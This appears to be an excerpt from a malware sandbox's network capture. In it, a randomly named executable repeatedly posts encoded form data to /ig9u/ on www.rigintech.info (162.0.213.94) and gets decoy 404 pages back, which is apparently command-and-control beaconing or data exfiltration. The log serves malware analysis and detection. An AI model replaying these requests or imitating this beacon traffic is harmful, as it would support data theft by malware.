Sep 5, 2024 14:25:50.659152985 CEST	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Sep 5, 2024 14:25:50.659163952 CEST	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Sep 5, 2024 14:25:50.659312963 CEST	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Sep 5, 2024 14:25:50.659326077 CEST	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
Sep 5, 2024 14:25:50.664133072 CEST	1236	IN	Data Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	57205	162.0.213.94	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:52.601150990 CEST	728	OUT	POST /ig9u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.rigintech.info Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.rigintech.info Referer: http://www.rigintech.info/ig9u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 4f 75 7a 35 45 31 59 56 63 44 4b 73 61 65 6e 49 55 38 48 75 4b 55 63 35 41 71 4d 71 6b 6f 61 34 34 4a 58 51 79 47 56 73 77 54 74 49 49 67 48 52 78 32 64 72 72 57 76 44 32 6b 44 75 43 50 79 59 4a 6a 30 39 68 6b 6d 64 2f 74 6a 73 65 63 30 4d 59 34 65 77 56 51 6a 6d 4f 59 54 6e 75 74 49 33 43 46 6c 59 4d 4b 4a 59 7a 7a 6c 70 78 62 55 51 45 31 61 79 59 79 79 48 43 32 69 65 56 49 6f 36 47 78 33 48 70 4d 59 62 5a 76 72 30 52 59 42 45 37 74 67 61 43 42 53 45 63 48 37 6c 6e 6a 45 56 4c 7a 2b 48 47 76 37 2f 47 66 69 55 71 35 4e 79 61 6f 70 2b 63 62 71 35 45 41 67 6e 59 55 58 48 32 52 65 31 4b 4e 61 4b 30 37 6b 4c 72 41 72 31 57 61 6c 58 2f 47 45 7a 45 56 68 42 Data Ascii: V6h=Ouz5E1YVcDKsaenIU8HuKUc5AqMqkoa44JXQyGVswTtIIgHRx2drrWvD2kDuCPyYJj09hkmd/tjsec0MY4ewVQjmOYTnutI3CFlYMKJYzzlpxbUQE1ayYyyHC2ieVIo6Gx3HpMYbZvr0RYBE7tgaCBSEcH7lnjEVLz+HGv7/GfiUq5Nyaop+cbq5EAgnYUXH2Re1KNaK07kLrAr1WalX/GEzEVhB
Sep 5, 2024 14:25:53.203957081 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Sep 2024 12:25:53 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Sep 5, 2024 14:25:53.203984976 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Sep 5, 2024 14:25:53.203996897 CEST	448	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Sep 5, 2024 14:25:53.204010010 CEST	1236	IN	Data Raw: 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 30 33 2c 31 2e 35 30 33 36 35 20 2d 31 2e 36 Data Ascii: 68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,-0.76581 4.0014
Sep 5, 2024 14:25:53.204046011 CEST	1236	IN	Data Raw: 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 37 31 20 2d 34 2e 37 35 30 33 31 35 2c 31 31 Data Ascii: 49655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,5
Sep 5, 2024 14:25:53.204056978 CEST	448	IN	Data Raw: 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e 37 34 39 39 36 2c 31 32 2e 34 39 39 39 35 20 Data Ascii: 786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.4206
Sep 5, 2024 14:25:53.204076052 CEST	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Sep 5, 2024 14:25:53.204082966 CEST	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Sep 5, 2024 14:25:53.204088926 CEST	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Sep 5, 2024 14:25:53.204904079 CEST	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Sep 5, 2024 14:25:53.209186077 CEST	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	57206	162.0.213.94	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:55.133116007 CEST	1745	OUT	POST /ig9u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.rigintech.info Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.rigintech.info Referer: http://www.rigintech.info/ig9u/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 4f 75 7a 35 45 31 59 56 63 44 4b 73 61 65 6e 49 55 38 48 75 4b 55 63 35 41 71 4d 71 6b 6f 61 34 34 4a 58 51 79 47 56 73 77 53 56 49 49 56 54 52 6a 48 64 72 35 47 76 44 6f 55 43 70 43 50 79 2f 4a 6a 39 31 68 6b 36 72 2f 75 62 73 63 2b 73 4d 4a 70 65 77 62 67 6a 6d 57 6f 54 6d 77 64 4a 33 43 46 31 55 4d 4f 56 59 7a 7a 6c 70 78 59 4d 51 4e 41 36 79 61 79 79 45 48 47 69 4b 65 6f 6f 65 47 78 2b 79 70 4d 63 6c 5a 66 4c 30 52 34 52 45 72 50 59 61 64 52 53 38 66 48 37 4c 6e 69 35 4c 4c 33 6e 34 47 73 6e 56 47 64 79 55 76 2f 51 6b 43 73 30 6d 4e 74 37 62 4a 69 6b 78 48 52 6e 43 39 68 36 6d 50 65 69 76 32 37 38 44 70 6b 6e 6c 66 36 59 4c 6f 33 4a 68 55 68 77 62 58 51 31 50 57 78 48 76 2f 56 36 4a 62 61 55 4b 77 43 4d 4a 61 69 50 49 6c 31 6b 49 4b 6a 47 42 59 54 72 45 53 39 4d 50 68 75 64 43 44 55 4f 64 75 61 69 63 74 2f 47 72 76 37 51 31 43 78 4e 51 36 46 2f 56 46 74 46 45 77 6a 4e 58 36 4d 4f 46 59 34 4c 6f 6d 63 34 38 4b 71 34 30 77 56 6d 2f 37 30 65 56 58 39 37 39 54 51 75 72 42 46 66 65 49 6f [TRUNCATED] Data Ascii: V6h=Ouz5E1YVcDKsaenIU8HuKUc5AqMqkoa44JXQyGVswSVIIVTRjHdr5GvDoUCpCPy/Jj91hk6r/ubsc+sMJpewbgjmWoTmwdJ3CF1UMOVYzzlpxYMQNA6yayyEHGiKeooeGx+ypMclZfL0R4RErPYadRS8fH7Lni5LL3n4GsnVGdyUv/QkCs0mNt7bJikxHRnC9h6mPeiv278Dpknlf6YLo3JhUhwbXQ1PWxHv/V6JbaUKwCMJaiPIl1kIKjGBYTrES9MPhudCDUOduaict/Grv7Q1CxNQ6F/VFtFEwjNX6MOFY4Lomc48Kq40wVm/70eVX979TQurBFfeIoqgMWzsxdTRyGJSTBTAW6848apqB7OowsAgl8KCJY7z+rTxAb4WCah4boX3UtYY6dszBeszMs93Nni2KFH0dc7ssZ7G8lewRAl2KrO3RRlgtMc3Pv27U3HTNw2cLsUOSU0r/l77kWGP/Mo4WxMEooFOtVeqdYpU3rjtVVgw2J63CdoIo5d6UvfmvToGHz6hjwj806KP6x8+mmWIxaMchiG4Ac/OWr8GFE+p9fgugTRO5/2yYMG9nTRxBU0Zkz983SwxBlm1q+ZZ5wkBQxJwW1BfnqUHaznOdzoPDj/9iTcJUqLwxIN4/vo/EIm8fu2+xPPKNB/YQdinI/3zLGxA9IBJLm7EhTKj/KevYVE08T+vwKj65FCnrpn/mfJEHh+H+hATQeEdSdzTWS1MSFad7c1yDlKUjyAawhPPZ+nlmxq6TJEdCaCFoZO0/jDuJnA+56wqSGAjHjss52ecDzr7BfmYvRW/6G7GsNkTRRIaMvs/q3cEcKrsY8X+mXIMIRmanS7m+1/6jIwOgSSrmg/VLq7el4mvisumHc9Rn65Wa2Zi4jbGD8WQie5PNGd2cGjRfSHQVxiX8WgguLEaHilHX52+TLNIGWzKQIj3fkry0Q/LeFS3XJJErZuKAaHWKsMHPDa9OFp5et46fXhLQMxjjDB/Ct0dfYwNToMJ [TRUNCATED]
Sep 5, 2024 14:25:55.738493919 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Sep 2024 12:25:55 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Sep 5, 2024 14:25:55.738517046 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Sep 5, 2024 14:25:55.738528967 CEST	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Sep 5, 2024 14:25:55.738539934 CEST	672	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Sep 5, 2024 14:25:55.738567114 CEST	1236	IN	Data Raw: 35 2e 39 31 36 37 35 20 31 35 2e 31 38 30 32 36 37 2c 35 33 2e 34 31 37 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 Data Ascii: 5.91675 15.180267,53.41738" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4517" d="m 76.9375,124.6
Sep 5, 2024 14:25:55.738584042 CEST	1236	IN	Data Raw: 31 36 2c 32 34 2e 33 33 36 33 32 20 2d 38 2e 34 32 30 36 33 2c 33 38 2e 39 39 38 30 39 20 2d 33 2e 36 30 34 34 38 2c 31 34 2e 36 36 31 37 37 20 2d 38 2e 30 36 32 31 32 2c 33 31 2e 31 37 31 35 34 20 2d 31 32 2e 35 36 32 34 34 2c 34 37 2e 38 33 39 Data Ascii: 16,24.33632 -8.42063,38.99809 -3.60448,14.66177 -8.06212,31.17154 -12.56244,47.83939" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Sep 5, 2024 14:25:55.738595963 CEST	1236	IN	Data Raw: 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 33 37 22 0a 20 20 20 Data Ascii: inejoin:miter;stroke-opacity:1;" /> <path id="path4537" d="m 87.0625,123.03748 c 2.916637,10.42937 5.833458,20.8594 7.291964,26.66356 1.458505,5.80416 1.458505,6.98257 2.402021,11.11052 0.943517,4.12795 2.82
Sep 5, 2024 14:25:55.738605022 CEST	104	IN	Data Raw: 20 2d 35 2e 30 37 34 39 37 35 2c 32 36 2e 30 33 34 38 33 20 2d 31 2e 31 31 39 35 36 38 2c 35 2e 38 39 32 36 34 20 2d 31 2e 35 39 30 39 32 2c 37 2e 37 37 38 30 35 20 2d 31 2e 38 38 35 37 30 38 2c 31 30 2e 30 37 37 30 36 20 2d 30 2e 32 39 34 37 38 Data Ascii: -5.074975,26.03483 -1.119568,5.89264 -1.59092,7.77805 -1.885708,10.07706 -0.294789,2.29901 -0.412567,5.
Sep 5, 2024 14:25:55.738615990 CEST	1236	IN	Data Raw: 30 30 37 39 20 35 2e 31 65 2d 35 2c 31 37 2e 35 36 33 33 39 20 30 2e 34 31 32 36 31 37 2c 31 32 2e 35 35 35 34 38 20 31 2e 33 35 35 30 36 34 2c 33 34 2e 39 33 38 35 39 20 32 2e 34 37 34 39 39 36 2c 35 34 2e 37 34 32 33 39 20 31 2e 31 31 39 39 33 Data Ascii: 0079 5.1e-5,17.56339 0.412617,12.55548 1.355064,34.93859 2.474996,54.74239 1.119932,19.80379 2.415574,37.00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:
Sep 5, 2024 14:25:55.738629103 CEST	224	IN	Data Raw: 32 35 31 20 36 2e 31 32 38 38 35 2c 2d 31 2e 32 33 37 37 34 20 39 2e 31 39 31 38 2c 2d 32 2e 30 36 32 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 Data Ascii: 251 6.12885,-1.23774 9.1918,-2.06238" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4560"
Sep 5, 2024 14:25:55.743557930 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 2e 31 31 33 31 39 39 2c 31 39 38 2e 31 36 38 32 31 20 63 20 34 37 2e 35 34 37 30 33 38 2c 30 2e 34 30 33 36 31 20 39 35 2e 30 39 33 30 37 31 2c 30 2e 38 30 37 32 31 20 31 34 32 2e 36 33 38 31 Data Ascii: d="m 13.113199,198.16821 c 47.547038,0.40361 95.093071,0.80721 142.638101,1.2108" style="display:inline;fill:none;stroke:#000000;stroke-width:1.00614154px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	57207	162.0.213.94	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:57.665898085 CEST	449	OUT	GET /ig9u/?V6h=DsbZHDl7ETyucOGSRMDREU0gLqon/JCM1qPnn3cy3RxLEFGk9lVuu2W6wSDxGu+YER8koFm75cmrGcIzTbmZQ3LhDYrene07E1oxIZlh9GtUu7RZMRKLFDCiJnSgV5dMHg==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.rigintech.info Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
